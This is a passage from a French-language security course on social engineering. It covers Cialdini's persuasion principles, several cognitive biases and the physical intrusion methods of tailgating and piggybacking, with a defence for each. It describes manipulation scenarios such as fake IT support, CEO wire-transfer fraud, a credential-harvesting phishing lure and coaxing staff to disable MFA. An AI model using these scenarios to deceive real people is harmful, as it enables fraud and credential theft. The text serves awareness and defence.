			Le livre Influence, Science and Practice85 (titre français : Influence et manipulation), publié en 1984 par le psychologue social américain Robert Cialdini, est sûrement le texte de référence pour ceux qui s’intéressent aux techniques de persuasion.

			Cet ouvrage débute par le constat qu’au même titre que d’autres animaux moins évolués, les humains ont tendance à adopter des réactions automatiques et prévisibles en présence de certains déclencheurs extérieurs.

			Pourquoi notre système cognitif emprunte-t-il des raccourcis qui le conduisent parfois à se faire berner et à s’écarter d’un comportement parfaitement rationnel ? La raison repose sur la nécessité de préserver de l’énergie mentale et de prendre des décisions rapidement. Si on prenait la peine de creuser en profondeur le pour et le contre pour chacun de nos choix, on passerait notre temps à analyser les situations qui se présentent à nous !

			Robert Cialdini identifie six principes qui orientent nos décisions sous contrainte de temps et avec des informations limitées à disposition :

			1.Réciprocité.

			2.Engagement et cohérence.

			3.Preuve sociale.

			4.Sympathie.

			5.Autorité.

			6.Rareté.

			

			La connaissance de ces principes est utile pour éviter des erreurs de jugement, mais également redoutable si elle est utilisée par un pirate qui souhaite nous manipuler pour nous pousser à agir contre notre intérêt.

			Les sections suivantes passent en revue les six principes, en évoquant pour chacun d’entre eux des scénarios d’attaque possibles ainsi que des techniques de défense.

			Réciprocité

			En psychologie sociale, la réciprocité est une norme consistant à répondre à une action positive par une autre action positive, récompensant les actions bienveillantes. Elle se retrouve dans toutes les cultures, même les plus anciennes : en réponse à des actions amicales, les gens sont souvent beaucoup plus coopératifs que s’ils agissaient purement selon leur intérêt personnel.

			Selon certains auteurs, l’idée que l’homme est endetté pour rembourser des cadeaux et des faveurs est un aspect unique de la culture humaine. Les anthropologues culturels soutiennent cette idée dans ce qu’ils appellent le « réseau d’endettement », où la réciprocité est considérée comme un mécanisme d’adaptation pour améliorer la survie.

			Grâce à la règle de réciprocité, des systèmes sophistiqués d’aide et de commerce étaient possibles, apportant d’immenses avantages aux sociétés qui les utilisaient. Compte tenu des avantages de la réciprocité au niveau sociétal, il n’est pas surprenant que la norme ait persisté et dicte notre cognition et nos comportements actuels.

			La réciprocité n’est pas seulement un facteur déterminant du comportement humain, c’est une méthode puissante pour obtenir l’adhésion à une demande. La règle de réciprocité a le pouvoir de déclencher un sentiment d’endettement même face à une faveur non sollicitée et indépendamment du goût de la personne qui a exécuté la faveur.

			Les techniques suivantes se fondent sur le principe de réciprocité :

			- Don-requête : lorsqu’un consommateur accepte de recevoir un cadeau ou un échantillon gratuit, il est pris au piège, se sentant redevable et lié au vendeur par une sorte de contrat imaginaire. La pression sociale liée au risque de passer pour un « profiteur » le pousse à l’achat.

			- Rejet-retrait (porte-au-nez86, en anglais « door in the face ») : le persuadeur tente de convaincre l’interlocuteur en faisant une demande importante qu’il refusera très probablement, un peu comme le claquement métaphorique d’une porte au nez du persuadeur. Le répondant est alors plus susceptible d’accepter une deuxième demande, plus raisonnable, que si cette même demande est faite isolément.

			Exemples d’exploitation

			Les ingénieurs sociaux s’appuient volontiers sur la réciprocité, comme dans les scénarios suivants :

			- Le pirate provoque un dysfonctionnement technique sur l’ordinateur de la victime, puis entre en contact avec elle en se faisant passer pour un employé du support informatique, en rétablissant le fonctionnement normal. Comptant sur la reconnaissance de la victime, l’attaquant formule ensuite une requête qui aura une bonne chance d’être réalisée (installation d’un logiciel piégé, communication d’informations confidentielles, etc.).

			- Habillé avec élégance et en se faisant passer par un puissant dirigeant, le pirate trouve un prétexte pour complimenter une personne de l’accueil, engage la conversation avec elle et lui fait miroiter un coup de pouce professionnel ; en échange, il demande un passe-droit (entrer dans les locaux sans badge, obtenir les coordonnées d’un employé, etc.)

			- En prétendant être un membre de l’équipe sécurité, le pirate contacte la victime et formule une demande exagérée (ex. : réaliser une recherche très chronophage et transmettre une quantité importante de données), pour se rabattre ensuite, en guise de concession, sur la vraie requête (installer un logiciel qui permettra au demandeur de réaliser lui-même l’opération – en réalité, un cheval de Troie).

			Comment se protéger

			

			Un solliciteur qui recourt à la règle de réciprocité est un ennemi redoutable. Cependant, si l’on est capable de reconnaître sa vraie nature, on peut sortir indemne de la bataille, et même retourner la situation à son avantage. Rejeter invariablement toutes les faveurs est très difficile en pratique et n’est pas ma recommandation ; la difficulté est de savoir si l’offre qui nous est faite est honnête ou s’il s’agit d’un stratagème, première étape d’une tentative d’exploitation.

			Lorsque l’on est raisonnablement sûr que l’offre initiale n’était qu’une technique de persuasion, on est libéré de la contrainte d’un sentiment d’obligation, et l’on peut alors accepter ou refuser à sa convenance ; l’acceptation suivie d’un refus catégorique de la demande à suivre est probablement le meilleur moyen de retourner son arme contre l’exploiteur.

			Engagement et cohérence

			Le principe d’engagement et de cohérence décrit la manière dont les gens veulent que leurs croyances et leurs comportements soient cohérents avec leurs valeurs et leur image d’eux-mêmes. Premièrement, nous avons tendance à considérer la cohérence comme un trait social attrayant et l’indication qu’une personne est rationnelle, digne de confiance et stable, et voulons donc tous être perçus comme cohérents. Deuxièmement, ce principe est un raccourci mental que nous utilisons pour simplifier nos prises de décision : nous en avons tant à prendre quotidiennement que nous réduisons cette quantité en prenant une décision passée comme référence pour les choix connexes à venir. La conséquence est que nous agissons de manière cohérente avec notre action ou pensée initiale, de sorte que lorsque nous nous engageons envers quelque chose ou quelqu’un, généralement, nous nous y tenons. Nous essayons également de nous comporter de manière cohérente avec l’image que nous avons donnée aux autres.

			Le principe d’engagement et de cohérence a de nombreuses applications dans les stratégies de marketing. En encourageant les clients à s’engager légèrement envers une marque ou un site (par exemple en proposant un formulaire très facile à remplir pour obtenir une réduction), le vendeur est alors mieux placé pour motiver les acheteurs potentiels à continuer à s’engager, car ils se sentiront obligés de rester cohérents avec ce comportement initial.

			

			Les techniques suivantes se fondent sur le principe d’engagement et cohérence :

			- Pied-dans-la-porte87 : le persuadeur cherche à obtenir l’acceptation d’une petite requête initiale pour ouvrir la voie à des requêtes et concessions de plus en plus importantes, en forçant graduellement et inexorablement la main de l’autre partie. Moins la pression externe est détectable, plus la motivation induite est forte et l’influence du persuadeur efficace.

			- Signature de pétitions : prendre publiquement un engagement a un effet sournois, qui fait les affaires des persuadeurs ; cela change subtilement l’idée qu’un individu se fait de lui-même, et est d’autant plus fort si l’engagement est écrit. Cette modification de l’image de soi-même est un puissant levier pour la manipulation des comportements futurs.

			- Cérémonies d’initiation : il a été observé que nous accordons plus de valeur à ce que nous obtenons avec difficulté ; un manipulateur peut donc concocter une sorte de « parcours initiatique » afin d’enfermer ses victimes dans une perception erronée. Pour citer un exemple médiatisé, le célèbre escroc Bernard Madoff faisait croire aux victimes qu’accéder à ses produits d’investissement était un rare privilège, et les faisait parfois patienter pendant plus de deux ans avant de les accepter parmi ses clients.

			Exemples d’exploitation

			Voici comment les ingénieurs sociaux peuvent exploiter le principe d’engagement et cohérence :

			- Le simple fait de réussir à engager la victime dans un échange écrit ou oral est un levier intéressant. La victime peut se sentir amenée à rester cohérente avec sa première décision de légitimer la sollicitation reçue, avec ce type de considération inconsciente et autovalidante : « Si je suis en train de parler avec cette personne, c’est qu’elle est digne de confiance. »

			

			- Quand le pirate souhaite obtenir une information décisive, il choisit généralement de ne pas la demander directement, mais de commencer par une série de questions très simples et innocentes. Au fur et à mesure que la victime répond, elle s’enfonce dans le piège.

			- Dans le même esprit que l’exemple précédent, quand un pirate réussit à obtenir la confiance d’une personne pour réaliser des virements (ex. : un comptable ou même un particulier berné), il peut la pousser à verser des sommes de plus en plus importantes vers le compte qu’il contrôle.

			- Un ingénieur social peut cibler des personnes qui ont publiquement signé une pétition en faveur de la cause X, en préparant un phishing qui s’appuie sur les convictions publiquement affichées par les victimes potentielles.

			Comment se protéger

			La recommandation de Robert Cialdini est pleine de bon sens : il faut faire confiance à son intuition profonde, reconnaître les creux d’estomac qui surgissent lorsque nous sommes entraînés vers des décisions et actions contre nos intérêts. Une partie de nous-même est probablement impossible à berner : le « fond du cœur ».

			Lorsqu’un persuadeur essaie de nous enfermer dans le piège de l’engagement, il peut être par ailleurs amusant de faire recours à une citation de Ralph Waldo Emerson, chère au professeur Cialdini : « La cohérence mal avisée est le démon des petits esprits. »

			Preuve sociale

			La preuve sociale est un phénomène psychologique et social par lequel les gens copient les actions des autres pour choisir le comportement à adopter dans une situation donnée.

			La preuve sociale opère avec une importance accrue dans les situations ambiguës où il n’est pas évident de prendre des décisions appropriées, et est motivée par l’hypothèse que les personnes autour de soi possèdent des connaissances plus précises sur la situation actuelle. Lorsqu’une personne se trouve dans un contexte où elle n’est pas sûre de la bonne façon de se comporter, elle se tournera souvent vers les autres pour trouver des indices concernant la bonne conduite à adopter. Cela est d’autant plus probable lorsque les autres sont perçus comme particulièrement bien informés.

			

			On parle dans ce cas d’influence sociale informationnelle, par contraste avec l’influence sociale normative, dans laquelle une personne se conforme pour être aimée ou acceptée par les autres.

			La preuve sociale conduit souvent non seulement à la conformité publique (se conformer au comportement des autres publiquement sans nécessairement croire qu’il est correct), mais aussi à l’acceptation privée (se conformer à partir d’une croyance sincère que les autres ont raison).

			Les effets de la preuve sociale peuvent être observés dans la tendance des grands groupes à se conformer ; c’est ce qu’on désigne également sous les termes d’« effet troupeau » ou « effet mouton ». En effet, l’incertitude n’est pas la seule condition qui démultiplie le pouvoir de la preuve sociale, la similarité en est une autre : nous sommes particulièrement influencés par le comportement des gens qui nous sont très semblables.

			Le principe de la preuve sociale est couramment utilisé pour pousser les consommateurs à l’achat ; voici des méthodes affectionnées par les professionnels du marketing :

			1.Publication de témoignages, recommandations et études de cas, dans lesquels des clients ou experts (pas forcément réels) vantent les mérites de l’entreprise vendeuse.

			2.Publication d’évaluations, notamment sous forme de notation par nombre d’étoiles.

			3.Publications sur les réseaux sociaux, dans lesquelles le vendeur cherche à obtenir un grand nombre de likes, commentaires et repartages.

			4.Affichage des logos des entreprises clientes, idéalement nombreuses et prestigieuses.

			5.Référencement des publications dans les médias (« vu à la télé », « ils en parlent », etc.).

			6.Affichage des chiffres bruts (nombre de clients, chiffre d’affaires, croissance, etc.).

			

			7.Affichage des certifications, prix et récompenses.

			Exemples d’exploitation

			Voici comment les ingénieurs sociaux peuvent exploiter le principe de preuve sociale :

			- Name dropping : après avoir dressé un organigramme de l’organisation ciblée, le pirate met en avant une prétendue collaboration réussie avec plusieurs dirigeants ou employés que la victime est censée connaître. Cela a pour but de mettre la victime en confiance, dissiper son incertitude et provoquer un comportement de collaboration « en miroir » par rapport aux collègues cités.

			- Toujours dans le but de rassurer la victime, l’ingénieur social débite une série de chiffres, titres ou récompenses fictifs pour démontrer qu’il est reconnu dans sa profession.

			Comment se protéger

			Il est important de remarquer que la preuve sociale est en général un moyen efficace de prendre des décisions en situation d’incertitude sans dépenser trop de temps ou d’énergie mentale ; rejeter en bloc ce principe n’est pas recommandable. Cela étant dit, céder trop facilement à la conformité peut nous mener à des choix discutables.

			Le meilleur moyen d’éviter les pièges est de s’entraîner à reconnaître les situations dans lesquelles le principe de preuve sociale opère. Une meilleure compréhension du mécanisme rend plus sensible aux tentatives de manipulation, du moins aux plus grossières d’entre elles.

			Au moindre doute, il est conseillé de challenger les éléments de preuve mis en avant par les persuadeurs : vérifier les chiffres en croisant avec des sources fiables, poser des questions sur les prétendues relations, contrôler les références et demander des certificats.

			Certes, un ingénieur social bien préparé pourra faire face à un certain nombre d’interrogations, mais ce questionnement permettra au moins de déjouer les tentatives de manipulation les moins sophistiquées.

			

			Sympathie

			Il est évident qu’en règle générale, nous accédons plus volontiers aux requêtes de personnes qui nous sont connues et sympathiques. Les persuadeurs en sont parfaitement conscients et n’hésitent pas à employer des stratagèmes pour nous influencer positivement et instiller en nous un sentiment d’appréciation.

			Robert Cialdini identifie les principaux facteurs pour créer de la sympathie, au sens large :

			- Apparence physique : nous prêtons inconsciemment des qualités morales et intellectuelles aux personnes qui ont un aspect agréable ; ce phénomène est connu comme « effet de halo » et sera analysé plus en détail dans la section sur les biais cognitifs. Le fait est que les escrocs sont souvent de beaux hommes ou de jolies femmes, et cela leur donne un levier supplémentaire.

			- Similarité : nous aimons ce qui nous ressemble, que ce soit au niveau des opinions, de la personnalité, du milieu socioculturel, du mode de vie ou de la façon de s’habiller. Les persuadeurs cherche à mettre en évidence des points communs avec leurs interlocuteurs.

			- Compliments : plusieurs études montrent que nous sommes prêts à gober toutes sortes de flatteries, même quand la sincérité leur fait défaut. C’est une sorte de réaction automatique couramment exploitée par les vendeurs en tout genre.

			- Contact et coopération : un sentiment de familiarité peut être provoqué en affichant un but commun (voire un ennemi commun), en produisant des efforts conjoints et en faisant équipe avec les autres. Une variante de cette idée est utilisée dans la technique du gentil et du méchant (« good cop, bad cop »), dans laquelle deux persuadeurs se répartissent les rôles. Celui qui pousse dans le sens de la coopération apparaît comme un sauveur et parvient souvent à assouplir la résistance de l’interlocuteur… ou à arracher des aveux dans le contexte d’un interrogatoire.

			- Association : il est bien connu que le messager est « contaminé » par la nature de la nouvelle qu’il porte. Les persuadeurs exploitent cette forme de conditionnement en créant artificiellement des associations avec les choses que nous aimons ; cela apparaît très clairement dans les publicités qui prennent comme témoins des acteurs ou des sportifs très appréciés par le public.

			

			Exemples d’exploitation

			Voici comment les ingénieurs sociaux peuvent exploiter le principe de sympathie :

			- Le pirate dresse une liste des personnes côtoyées par une victime spécifique (membres de la famille, collègues ou anciens collègues, anciens camarades d’études ou professeurs, membres d’associations, voisins, etc.) et prétend agir sur recommandation d’une de ces personnes.

			- Le pirate se renseigne sur les intérêts professionnels et extra-professionnels de sa cible et les utilise dans la phase d’approche pour créer un sentiment de familiarité. Dans le même but, il peut aussi déclarer venir de la même région ou ville, avoir fréquenté la même école ou avoir les mêmes objectifs.

			- Le pirate use de son charme physique pour assouplir la résistance de son interlocuteur, et peut également tenter d’imiter ses comportements pour créer une apparente similitude.

			- Le pirate fait précéder la phase décisive de l’attaque par une conversation cordiale et pointée d’humour, dans laquelle il peut par exemple parler de ses difficultés au travail, idéalement les mêmes que la victime est censée rencontrer au jour le jour, ou a rencontré dans sa période d’intégration en entreprise.

			Comment se protéger

			Il existe tellement de facteurs incitant à la sympathie à notre insu qu’il est en pratique très difficile de trouver des contre-mesures spécifiques pour chacun d’entre eux.

			L’approche conseillée par le professeur Cialdini opère plutôt sur les effets que sur la cause : le moment où il faut se protéger est celui où nous sentons que nous ressentons un peu trop de sympathie envers l’interlocuteur persuasif, plus que ne le voudraient les circonstances.

			

			Une fois ce sentiment repéré, nous sommes informés qu’il y a probablement une manœuvre d’influence en cours, et nous pouvons riposter en nous efforçant de séparer le persuadeur de la transaction en cours, en nous concentrant sur les éléments objectifs de cette dernière.

			Autorité

			L’expérience réalisée dans les années 1960 par le psychologue social américain Stanley Milgram constitue probablement l’exemple le plus frappant de l’obéissance automatique et inconsciente que nous réservons à l’autorité.

			La célèbre expérience a mesuré la volonté des participants à l’étude, de diverses professions et avec différents niveaux d’éducation, d’obéir à une figure d’autorité leur demandant d’accomplir des actes contraires à leur conscience personnelle.

			Les participants ont été amenés à croire qu’ils participaient à une expérience d’apprentissage, présentée comme une étude scientifique de l’efficacité de la punition sur la mémorisation. Ils ont été placés dans la situation d’administrer des décharges électriques de puissance croissante à un « apprenant » en cas de mauvaise réponse, sous le contrôle d’un « expérimentateur », vêtu d’une blouse grise et représentant la figure d’autorité. Aussi bien l’apprenant que l’expérimentateur étaient des acteurs, et les décharges étaient fictives.

			Le résultat a été choquant : la plupart des sujets ont accepté d’administrer des faux chocs électriques très importants, sous les injonctions de l’expérimentateur et en dépit des cris de souffrance simulés par l’apprenant.

			Cette expérience a provoqué de vifs questionnements dans l’opinion publique, autour de l’effroyable constat que des personnes parfaitement ordinaires peuvent se transformer en tortionnaires sous l’influence de l’autorité.

			

			En effet, nous sommes conditionnés depuis notre naissance à l’idée qu’obéir aux autorités compétentes est louable et que la désobéissance est condamnable.

			Plus ou moins inconsciemment, nous considérons qu’une position élevée donne accès à des informations privilégiées et à un pouvoir supérieur ; selon cette hypothèse, qui est d’ailleurs généralement juste, il est raisonnable de se plier aux désirs des autorités légitimes et l’obéissance est profitable.

			Malheureusement, cette disposition naturelle est activement exploitée par les persuadeurs et les professionnels du marketing : par exemple, dans les publicités, il est fréquent de voir des acteurs qui jouent les experts pour vanter les qualités d’un produit.

			L’apparence de l’autorité est suffisante, car nous sommes vulnérables aux symboles, notamment :

			- Les titres, comme professeur, docteur, maître, etc. Ces titres sont autant difficiles à obtenir que faciles à falsifier.

			- Les vêtements, principalement des uniformes (blanc médical, noir ecclésiastique, vert militaire, bleu policier), ou même un costume de ville de bonne coupe assorti d’une bonne présentation.

			- Les accessoires, comme les bijoux, les belles voitures, les montres, les équipements informatiques dernier cri.

			Il est intéressant de remarquer que les persuadeurs qui jouent la figure d’autorité peuvent faire semblant de parler contre leurs intérêts, pour prouver leur honnêteté et être plus convaincants sur les arguments qui vont suivre. 

			Exemples d’exploitation

			Le principe d’autorité est l’un des leviers les plus exploités par les ingénieurs sociaux, notamment à travers les techniques suivantes :

			- Cibler un employé des services administratifs et comptables, et se faire passer par un dirigeant qui a un besoin urgent, comme le versement d’une somme d’argent à un fournisseur, pour débloquer un projet stratégique en train de prendre du retard. Notons que cette technique fonctionne encore mieux si le pirate a réussi à compromettre l’adresse mail du dirigeant.

			

			- Variante de l’attaque précédente : prendre l’identité des services de police, d’une banque, des autorités fiscales, des enquêteurs d’assurance, etc. Souvent, il suffit d’une voix qui sonne autoritaire, d’un ton sérieux et de présence d’esprit pour répondre à d’éventuelles objections de façon crédible.

			- Se faire passer pour un membre de l’équipe informatique ou de l’équipe de sécurité auprès d’une nouvelle recrue, comptant sur le fait qu’elle sera plus vulnérable en raison de sa jeunesse dans l’organisation.

			- Pour les escrocs les plus audacieux : s’introduire dans les locaux de l’organisation ciblée, en revêtant un uniforme leur conférant l’autorité d’émettre des injonctions. 

			Comment se protéger

			Personne n’est immun à l’influence de l’autorité. Il est important de prendre conscience de la relative facilité de contrefaçon des symboles ; ce constat rend plus méfiant et augmente la probabilité de démasquer au moins les tentatives les plus grossières. Il ne faut pas hésiter à demander des justificatifs et à questionner, au moindre doute, l’identité affichée par l’interlocuteur, surtout s’il demande de contourner des règles ou d’aller à l’encontre de sa conscience.

			Pour le personnel administratif, il est crucial de respecter de façon stricte les procédures, notamment celles qui régulent les mouvements financiers, quitte à apparaître rigide et peu coopératif. Notons que les dirigeants doivent encourager cette attitude et remercier, plutôt que mettre mal à l’aise, les employés qui font preuve de vigilance.

			Certes, il n’est pas faisable de toujours questionner l’autorité, mais il faut se poser les bonnes questions :

			- Cette autorité est vraiment compétente ?

			- L’autorité de l’interlocuteur a-t-elle un rapport avec la question ?

			- Quelle sincérité peut-on attendre de cette autorité en la circonstance ?

			

			Rareté

			« Ce qui est rare est cher », selon un adage bien connu ; en effet, nous attribuons de la valeur aux choses dont la disponibilité est limitée. Nous sommes aussi caractérisés par l’aversion à perte, un biais comportemental qui fait que nous attachons plus d’importance à une perte qu’à un gain du même montant. L’idée d’une perte potentielle joue un rôle considérable dans la prise de décision.

			La rareté opère sous deux formes principales :

			- Quantité limitée : par exemple, l’approvisionnement futur d’un produit n’est pas garanti et le nombre de produits sur le marché est réduit.

			- Temps limité : par exemple, il y a des limites temporelles à la disponibilité d’un objet, ou à la validité d’une offre.

			Nous adoptons, plus ou moins inconsciemment, ce raccourci : les choses qu’il est difficile de se procurer sont normalement plus intéressantes et désirables. En général, comme pour les autres principes examinés, cela est de bon conseil, mais cela peut être exploité par des persuadeurs.

			Au fur et à mesure qu’un objet devient moins disponible, nous perdons une partie de notre liberté, et c’est une chose dont nous avons horreur. Quand notre liberté se trouve limitée dans un certain domaine, nous ressentons un désir accru d’obtenir les objets qui nous sont devenus inaccessibles. C’est une manifestation du mécanisme de réactance psychologique88, système de défense automatique mis en œuvre par un individu qui tente de maintenir sa liberté d’action lorsqu’il la croit ôtée ou menacée. La réactance psychologique peut d’ailleurs être exploitée par la technique de psychologie inversée89.

			En plus, et probablement sous l’influence conjointe du principe d’engagement et cohérence, pour justifier notre sentiment, nous commençons à attribuer à l’objet rare toutes sortes de qualités, ce qui peut nous enfermer ultérieurement dans le piège.

			Il est intéressant de remarquer que le principe de la rareté opère avec une force accrue dans les situations suivantes :

			

			- Rareté subite, qui intervient après une situation d’abondance.

			- Compétition visible pour des ressources rares. Cela est à l’origine des mouvements de foule devant les magasins à l’ouverture des soldes, et de l’emballement lors de certaines ventes aux enchères.

			Exemples d’exploitation

			Les ingénieurs sociaux exploitent le principe de rareté de plusieurs façons :

			- Déclenchement d’un sentiment d’urgence auprès de la victime, l’urgence étant une forme de rareté provoquée par une contrainte de temps. Par exemple, le pirate peut jouer le rôle d’un responsable informatique qui a absolument besoin qu’on lui crée au plus vite un compte d’accès sur une application, un serveur ou un équipement réseau, afin qu’il puisse résoudre un incident critique.

			- L’attaquant envoie des courriels au nom du comité social et économique (CSE) d’une entreprise, affirmant que les vingt premières personnes à s’inscrire sur son nouveau site web gagneront des billets gratuits pour un nouveau film à la mode. Lorsqu’un employé sans méfiance s’inscrit sur le site, il lui est demandé de fournir son adresse e-mail d’entreprise et de choisir un mot de passe, qui sera probablement le même que son mot de passe professionnel. 

			Comment se protéger

			Comme pour le cas d’autres leviers de persuasion, la clé pour résister à l’influence de la rareté est d’être à l’écoute de ses émotions et reconnaître le bouleversement intérieur comme un signal d’alarme. Si des émotions fortes surgissent dans une situation où l’on perçoit une pénurie ou une urgence, il faut essayer de se calmer et de retrouver une perspective rationnelle.

			En aucun cas les procédures métier et les politiques de sécurité ne doivent être contournées, d’autant plus si le moindre doute persiste au sujet de l’identité du demandeur. Par exemple, la technique du callback peut être utile si on reçoit un mail douteux de la part d’un responsable de l’entreprise. Le numéro de téléphone à utiliser dans ce cas doit être celui renseigné dans l’annuaire de l’entreprise.

			

			Biais cognitifs

			Introduction

			Les biais cognitifs sont des distorsions systématiques dans le jugement, liées à une déviation de la pensée logique et rationnelle par rapport à la réalité. La plupart de ces biais ont probablement été très efficaces pour nos ancêtres préhistoriques en milieu naturel, permettant une évaluation ou une action plus performante ; ils se révèlent pourtant inadaptés au milieu artificiel moderne.

			Souvent étudiés en psychologie cognitive, psychologie sociale et en économie comportementale, les biais cognitifs ont été portés à l’attention de la communauté scientifique dans les années 1970, par les psychologues Daniel Kahneman et Amos Tversky. Leurs travaux, effectués sur plusieurs décennies, ont été résumés par Kahneman après le décès de son collègue dans l’ouvrage Système 1 / Système 2 : Les Deux Vitesses de la pensée90 (en anglais Thinking, Fast and Slow), publié en 2011. Kahneman a d’ailleurs été récompensé par le prix Nobel d’économie en 2002, pour ses travaux fondateurs sur l’économie comportementale.

			Le livre mentionné a pour thèse centrale la dichotomie entre deux modes de pensée : le système 1 (rapide, instinctif et émotionnel) et le système 2 (plus lent, plus réfléchi et plus logique). Le système 1, qui fonctionne de manière automatique, involontaire, intuitive et demandant peu d’effort, est le système de raisonnement utilisé par défaut. Cependant, il est victime de plusieurs erreurs de jugement, liées aux raccourcis qu’il emprunte forcément du fait de sa rapidité.

			

			Dans le contexte de ce cours, nous passons en revue les trois biais cognitifs les plus susceptibles d’être exploités par un ingénieur social.

			La connaissance des biais cognitifs n’est malheureusement pas suffisante pour qu’on en soit complètement immunisés, tant ils sont ancrés dans nos processus de raisonnement et codés dans notre « hardware cérébral ». Toutefois, si nous apprenons à reconnaître leur influence, nous serons alors en meilleure posture pour déjouer les pièges des pirates psychologiques.

			Après tout, en cybersécurité, le risque zéro n’existe pas ; l’objectif est de réduire le risque à un niveau acceptable et d’améliorer de façon continue le niveau de protection.

			Biais d’ancrage

			Le biais ou effet d’ancrage est un biais cognitif par lequel les décisions d’un individu sont influencées par un point de référence particulier, le « point d’ancrage ». Il désigne la difficulté que l’on rencontre à se séparer d’une première impression, notamment dans les situations ambiguës, ou dans celles pour lesquelles nous n’avons pas un avis très clair au départ. Voici un exemple qui illustre comment ce biais opère :

			- On demande à chaque personne d’un groupe A d’estimer le prix d’une maison ; supposons que la moyenne des réponses soit 300 000 €.

			- On demande à chaque personne d’un groupe B d’estimer le prix de la même maison, après avoir demandé si la maison vaut plus ou moins de 400 000 € ; la moyenne sera probablement supérieure à 300 000 €.

			- On demande à chaque personne d’un groupe C d’estimer le prix d’une maison, après avoir demandé si la maison vaut plus ou moins de 200 000 € ; la moyenne sera probablement inférieure à 300 000 €.

			Dans cet exemple, les nombres 400 000 et 200 000 ont eu l’effet d’un point d’ancrage, influençant vers le haut ou vers le bas les estimations des groupes B et C.

			

			Un ingénieur social peut exploiter le biais d’ancrage en essayant de faire sortir la victime du cadre de travail normal avec une requête disproportionnée, dans le même esprit que la technique du rejet-retrait ou porte-au-nez, par exemple :

			- Demander à la victime de réaliser un virement de 100 000 € immédiatement, alors que le processus interne fixe une limite maximale de 20 000 € et un délai de prévenance d’une semaine ; même si la victime reconnaît le caractère exagéré de la demande, elle est néanmoins influencée et pourrait se résoudre à valider des versements échelonnés.

			- Demander à la victime de transmettre les dossiers de tous les employés, alors que le pirate est intéressé par un dossier spécifique.

			- Demander à la victime de réaliser une opération informatique complexe, alors que le pirate a juste besoin qu’elle désactive temporairement l’authentification multifacteur par exemple.

			Il est difficile de se soustraire à l’influence du biais d’ancrage ; ceci est d’ailleurs vrai pour tous les biais. Une technique de défense consiste à répondre à une demande qu’on reconnaît comme exagérée en prenant une position excessive dans l’autre sens, dans le but de rétablir une sorte de balance psychologique. En général, une stratégie qui consiste à « penser l’opposé » délibérément peut constituer une bonne défense contre les effets d’ancrage, parce qu’elle annule ou réduit la survenance des pensées biaisées produites par l’ancre.

			Effet Benjamin Franklin

			L’effet Benjamin Franklin est un phénomène psychologique qui peut sembler contre-intuitif : une personne qui a déjà rendu service à quelqu’un est plus encline à lui accorder une nouvelle faveur que si elle avait elle-même bénéficié d’un service de cette personne.

			Ce biais porte le nom du célèbre père fondateur des États-Unis, car celui-ci, dans son autobiographie, explique comment il a utilisé ce principe dans la gestion de l’animosité d’un législateur rival : « Ayant appris qu’il avait dans sa bibliothèque un certain livre très rare et très curieux, je lui écrivis un mot, lui exprimant mon désir de parcourir ce livre, et le priant de me faire la faveur de me le prêter pendant quelques jours. Il l’a envoyé immédiatement, et je l’ai retourné après environ une semaine avec une autre note, exprimant fortement mon sens de la faveur. Lorsque nous nous sommes ensuite rencontrés à la Chambre, il m’a parlé (ce qu’il n’avait jamais fait auparavant), et avec une grande civilité ; et il s’est toujours montré prêt à me servir en toutes occasions, de sorte que nous sommes devenus de grands amis, et notre amitié a continué jusqu’à sa mort. »

			

			Le fondement de cet effet réside dans l’effort que notre esprit produit constamment pour maintenir une cohérence entre nos croyances et nos actions : quand on aide quelqu’un, cette action justifie et renforce l’hypothèse que l’autre personne le mérite. Par conséquent et de façon paradoxale, si nous souhaitons nous attirer les bonnes grâces de quelqu’un, il peut être intéressant de le mettre en condition de nous faire une faveur ! C’est un contre-emploi subtil du principe de réciprocité, qui opère dans l’autre sens.

			Ce biais psychologique est utilisé par les pirates afin de maintenir une relation durable avec leurs sources : à titre d’exemple, après avoir réussi à obtenir des renseignements auprès d’un officier d’état civil à travers un voice phishing, le pirate n’hésitera pas à faire appel à ce fonctionnaire à chaque nouveau besoin. Le célèbre ingénieur social Kevin Mitnick relate plusieurs cas de ce type dans sa biographie Ghost in the Wires: My Adventures as the World’s Most Wanted Hacker.

			L’effet Benjamin Franklin exploite les mêmes leviers psychologiques que le principe d’engagement et cohérence.

			Effet de halo

			L’effet de halo est la tendance des impressions positives d’une personne, d’une entreprise, d’une marque ou d’un produit dans un domaine à influencer positivement son opinion ou ses sentiments dans d’autres domaines.

			Il a été défini pour la première fois par Edward Thorndike dans le livre du même nom. Un exemple simplifié de l’effet de halo se produit lorsqu’un individu, remarquant que la personne sur une photographie est attirante, bien soignée et correctement vêtue, suppose, en utilisant une heuristique mentale, que la personne sur la photographie est une bonne personne.

			

			Nous avons tendance à aimer (ou à détester) tout en bloc chez une personne, y compris des choses que nous n’avons pas observées.

			Les ingénieurs sociaux et escrocs en tout genre, hommes et femmes, exploitent l’effet de halo en soignant avec attention leur apparence, de façon à apparaître sous une lumière la plus favorable possible. Comme évoqué, les victimes auront tendance à leur attribuer en conséquence des qualités morales et intellectuelles positives.

			Rappelons-nous, en guise de défense contre ces pirates, que l’habit ne fait pas le moine !

			Sécurisation des locaux

			Les mécanismes psychologiques explorés dans les sections précédentes, tels que les principes de persuasion et les biais cognitifs, peuvent être habilement exploités par des attaquants pour manipuler des individus et compromettre la sécurité des locaux physiques.

			Pour clore ce chapitre, nous allons examiner en détail quelques-unes des techniques d’attaque les plus couramment utilisées au niveau physique, ainsi que les mesures de protection essentielles pour s’en prémunir.

			Violation de l’unicité de passage

			Les pirates ont la possibilité d’utiliser deux techniques pour contourner l’unicité de passage et s’introduire dans une zone protégée sans autorisation :

			

			- Tailgating (talonnage) : l’attaquant exploite l’ouverture d’une porte par une personne autorisée, afin de s’introduire à la suite de celle-ci dans la zone protégée.

			- Piggybacking (agglutinement) : l’attaquant et son complice essaient de se coller pour sembler n’être qu’une seule personne (sur le dos, les épaules, côte à côte, dos à dos, etc.) et tromper le système de contrôle d’accès.

			Les mesures suivantes permettent de lutter contre ces techniques :

			- Déployer des portes tournantes et des sas unipersonnels.

			- Instaurer l’obligation de porter un badge dans les zones sécurisées, avec des couleurs différentes pour les visiteurs.

			- Sensibiliser les employés afin qu’ils soient motivés pour challenger les personnes qui n’affichent pas de badge. Notons que les employés de niveau supérieur doivent apprendre à accepter de tels défis sans gêner la personne qui les arrête.

			- Si c’est économiquement faisable, engager des agents de sécurité et s’assurer qu’ils veillent aux tentatives de talonnage.

			Dumpster diving

